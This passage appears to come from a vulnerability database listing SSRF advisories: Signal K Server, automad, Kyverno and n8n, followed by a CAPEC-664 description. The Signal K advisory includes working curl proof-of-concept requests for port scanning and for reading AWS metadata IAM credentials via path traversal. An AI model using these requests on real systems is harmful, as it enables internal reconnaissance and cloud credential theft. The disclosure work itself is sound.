`rejectUnauthorized`:\n\n```typescript\nrejectUnauthorized: !selfsignedcert\n```\n\nWhen an attacker sets `selfsignedcert: true`, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.\n\n#### Additional Attack Surface: Path Traversal in checkAccessRequest\n\nThe `checkAccessRequest` endpoint interpolates `requestId` directly into the URL path:\n\n```typescript\n`/signalk/v1/requests/${requestId}`\n```\n\nAn attacker can use path traversal (e.g., `requestId: \"../../other/endpoint\"`) to target arbitrary paths on the destination host.\n\n### PoC\n#### Target Setup\n\nSet up a bare-metal signalk-server for testing (or use Docker to simulate):\n\n```bash\ndocker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \\\n bash -c \u0027npm install -g signalk-server@2.27.0 \u0026\u0026 signalk-server\u0027\n\n# Wait for startup\nuntil curl -s http://127.0.0.1:3000/skServer/loginStatus 2\u003e/dev/null | grep -q \"status\"; do sleep 10; done\n```\n\nSet the target variable:\n\n```bash\nTARGET=http://127.0.0.1:3000\n```\n\nConfirm `\"authenticationRequired\":false` in the loginStatus response before proceeding.\n\n#### PoC 1: Loopback Connection (Self-Discovery)\n\n```bash\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"127.0.0.1\",\"port\":3000,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n```\n\n**Response** (confirms SSRF, the server connected to itself):\n\n```json\n{\n \"success\": true,\n \"authenticated\": false,\n \"server\": {\n \"id\": \"signalk-server-node\",\n \"version\": \"2.27.0\"\n }\n}\n```\n\n#### PoC 2: Port Scanning via Error Differentiation\n\n```bash\n# Open port (3000) \u2014 returns server data\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"127.0.0.1\",\"port\":3000,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n# Response: {\"success\":true,\"server\":{\"id\":\"signalk-server-node\",\"version\":\"2.27.0\"}}\n\n# Closed port (9999) \u2014 immediate ECONNREFUSED\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"127.0.0.1\",\"port\":9999,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n# Response: {\"success\":false,\"error\":\"connect ECONNREFUSED 127.0.0.1:9999\"}\n\n# Filtered port \u2014 10-second timeout then error\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"10.0.0.1\",\"port\":22,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n# Response (after 10s): {\"success\":false,\"error\":\"Connection timed out\"}\n```\n\nThe three distinct error responses allow an attacker to map internal network topology.\n\n#### PoC 3: AWS Instance Metadata Service (IMDSv1)\n\nOn a cloud-hosted signalk-server (AWS EC2):\n\n```bash\ncurl -s -X POST $TARGET/skServer/testSignalKConnection \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"169.254.169.254\",\"port\":80,\"useTLS\":false,\"selfsignedcert\":false}\u0027\n```\n\nThe server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use `checkAccessRequest` with path traversal in `requestId`:\n\n```bash\ncurl -s -X POST $TARGET/skServer/checkAccessRequest \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"host\":\"169.254.169.254\",\"port\":80,\"useTLS\":false,\"selfsignedcert\":false,\"requestId\":\"../../latest/meta-data/iam/security-credentials/ROLE_NAME\"}\u0027\n```\n\n### Impact\n1. **Internal Network Scanning**: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).\n\n2. **Cloud Metadata Exfiltration**: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at `169.254.169.254` to steal IAM credentials, instance identity tokens, and other sensitive metadata.\n\n3. **Internal Service Data Exfiltration**: The `testSignalKConnection` endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.\n\n4. **Server-Side POST Requests**: The `requestAccess` endpoint sends a POST request with attacker-controlled JSON body (`clientId`, `description`), enabling interaction with internal APIs that accept POST requests.\n\n5. **Lateral Movement**: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.",
"id": "GHSA-q59x-jc9f-gfqf",
"modified": "2026-06-18T21:13:36Z",
"published": "2026-06-18T21:13:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-q59x-jc9f-gfqf"
},
{
"type": "PACKAGE",
"url": "https://github.com/SignalK/signalk-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints"
}
GHSA-Q5Q3-QM26-9JWM
Vulnerability from github – Published: 2023-12-21 18:30 – Updated: 2024-08-19 20:54automad up to 1.10.9 is vulnerable to an authenticated blind server-side request forgery in importUrl as the import function on the FileController.php file was not properly validating the value of the importUrl argument. This issue may allow attackers to perform a port scan against the local environment or abuse some service.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "automad/automad"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.10.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-7037"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-29T19:32:20Z",
"nvd_published_at": "2023-12-21T17:15:09Z",
"severity": "LOW"
},
"details": "automad up to 1.10.9 is vulnerable to an authenticated blind server-side request forgery in `importUrl` as the `import` function on the `FileController.php` file was not properly validating the value of the `importUrl` argument. This issue may allow attackers to perform a port scan against the local environment or abuse some service.",
"id": "GHSA-q5q3-qm26-9jwm",
"modified": "2024-08-19T20:54:51Z",
"published": "2023-12-21T18:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7037"
},
{
"type": "PACKAGE",
"url": "https://github.com/marcantondahmen/automad"
},
{
"type": "WEB",
"url": "https://github.com/screetsec/VDD/tree/main/Automad%20CMS/Authenticated%20Blind%20SSRF"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.248686"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.248686"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authenticated Blind SSRF in automad/automad"
}
GHSA-Q5V3-PP68-6CRJ
Vulnerability from github – Published: 2026-09-01 12:31 – Updated: 2026-09-01 12:31Kyverno before 1.16.2 contains a server-side request forgery (SSRF) vulnerability in the APICall feature. The URL field in a Policy's ServiceCall configuration is not validated, so a user with namespace-level Policy creation permissions can direct Kyverno to make HTTP requests to arbitrary internal resources (e.g., cloud metadata endpoints such as 169.254.169.254 or other tenants' resources). Because Kyverno executes these requests using its cluster-wide high-privilege ServiceAccount (a Confused Deputy problem), the responses—potentially including other tenants' secrets and cloud IAM credentials—are returned in the PolicyReport and can be read by the attacker, breaking multi-tenant isolation.
{
"affected": [],
"aliases": [
"CVE-2026-84199"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-01T12:17:49Z",
"severity": "MODERATE"
},
"details": "Kyverno before 1.16.2 contains a server-side request forgery (SSRF) vulnerability in the APICall feature. The URL field in a Policy\u0027s ServiceCall configuration is not validated, so a user with namespace-level Policy creation permissions can direct Kyverno to make HTTP requests to arbitrary internal resources (e.g., cloud metadata endpoints such as 169.254.169.254 or other tenants\u0027 resources). Because Kyverno executes these requests using its cluster-wide high-privilege ServiceAccount (a Confused Deputy problem), the responses\u2014potentially including other tenants\u0027 secrets and cloud IAM credentials\u2014are returned in the PolicyReport and can be read by the attacker, breaking multi-tenant isolation.",
"id": "GHSA-q5v3-pp68-6crj",
"modified": "2026-09-01T12:31:51Z",
"published": "2026-09-01T12:31:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-fmqp-4wfc-w3v7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84199"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/kyverno-before-1.16.2-ssrf-via-apicall-feature"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q5WM-MGQX-FV2F
Vulnerability from github – Published: 2026-09-10 21:18 – Updated: 2026-09-10 21:18Impact
Instance AI credential setup accepted a credential test/verification URL without checking it matched the workflow node's origin. Exfiltration required the user to actively inject an attacker-controlled URL into the setup flow. The patch derives the credential destination from the node's own URL and confines authenticated requests, redirects and probes to that origin.
Patches
The issue has been fixed in n8n versions 2.38.2 and 2.37.7. Users should upgrade to one of these versions or later to remediate the vulnerability.
Workarounds
If upgrading is not immediately possible, administrators should consider the following temporary mitigations:
- Disable the Instance AI module by removing instance-ai from the N8N_ENABLED_MODULES environment variable if it is not required.
- Restrict n8n instance access to fully trusted users only.
- Rotate any third-party API credentials that were set up using the Instance AI credential-setup flow on affected versions.
These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "2.38.0"
},
{
"fixed": "2.38.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.37.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86074"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T21:18:48Z",
"nvd_published_at": "2026-09-08T18:21:14Z",
"severity": "MODERATE"
},
"details": "## Impact\n\nInstance AI credential setup accepted a credential test/verification URL without checking it matched the workflow node\u0027s origin. Exfiltration required the user to actively inject an attacker-controlled URL into the setup flow. The patch derives the credential destination from the node\u0027s own URL and confines authenticated requests, redirects and probes to that origin.\n\n## Patches\n\nThe issue has been fixed in n8n versions 2.38.2 and 2.37.7. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\n\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Disable the Instance AI module by removing `instance-ai` from the `N8N_ENABLED_MODULES` environment variable if it is not required.\n- Restrict n8n instance access to fully trusted users only.\n- Rotate any third-party API credentials that were set up using the Instance AI credential-setup flow on affected versions.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
"id": "GHSA-q5wm-mgqx-fv2f",
"modified": "2026-09-10T21:18:48Z",
"published": "2026-09-10T21:18:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-q5wm-mgqx-fv2f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86074"
},
{
"type": "PACKAGE",
"url": "https://github.com/n8n-io/n8n"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.37.7"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.38.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "n8n: Instance AI Credential Setup Accepts Unvalidated Probe URL from Fetched Content"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.